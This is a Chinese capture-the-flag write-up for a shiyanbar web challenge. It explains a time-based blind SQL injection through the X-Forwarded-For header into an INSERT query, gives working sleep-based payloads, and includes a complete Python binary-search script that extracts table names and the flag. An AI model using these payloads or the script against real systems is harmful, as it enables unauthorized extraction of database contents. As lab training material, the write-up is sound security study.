题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php
根据提示 “我要把攻击我的人都记录db中去!” 猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造
由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个逗号前的数据会到达数据库
经过几次测试,这里除了回显ip外是不会有任何提示的,包括报错注入,所以只能用基于时间的盲注
由于是向数据库储存数据,猜测后台的sql语句如下:insert into ipaddress(ip) values('ip');
提交如下数据 '+sleep(5));#
后台语句便为 insert into ipaddress(ip) values(''+sleep(5));#'); 即为 insert into ipaddress(ip) values(''+sleep(5));
服务器的响应时间为5秒以上就说明sleep()成功执行了
sql中有以下写法
insert into t(name) values(( select case when (1) then sleep(1) else 1 end));
于是构造如下语句
'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );#
sql语句即为
insert into ipaddress(ip) values(''+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );
用二分法写python脚本,我只写的猜解表名的,剩下的改下payload(select flag from flag)即可,另外,实验吧的服务器是真的差,有时候都不给响应的,所以时间盲注得等网速快的时候才能用,不然就改一下sleep的时间。。。
1 import requests 2 import re 3 import time 4 5 requests=requests.session() 6 7 strall=[] 8 strall.append('0') 9 for i in range(33,128): 10 strall.append(str(i)) 11 12 13 14 #a=isthis(1,'98',">") 15 def isthis(index,charascii,compare): 16 url='http://ctf5.shiyanbar.com/web/wonderkun/index.php' 17 headers={ 18 'Content-Type': 'application/x-www-form-urlencoded', 19 "X-Forwarded-For":"'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from({}) ))".format(str(index))+compare+"{} ) then sleep(3) end) );#".format(charascii) 20 } 21 print headers['X-Forwarded-For'] 22 t0=time.time() 23 r=requests.get(url=url,headers=headers) 24 t=time.time()-t0 25 if t>3: 26 return True 27 else: 28 return False 29 30 31 32 33 ans='' 34 flag=0 35 for index in range(1,99): 36 left=0 37 right=len(strall) 38 if flag: 39 break 40 41 while left<=right: 42 mid=(left+right)>>1 43 if isthis(index,strall[mid],">"): 44 left=mid+1 45 elif isthis(index,strall[mid],"<"): 46 right=mid-1 47 else: 48 if strall[mid]=='0': 49 flag=1 50 break 51 value=chr(int(strall[mid])) 52 ans+=value 53 print ans 54 break 55 56 print ans 57 58 59 60 61 raw_input('done')
注意最后flag提交的格式是ctf{xxxx}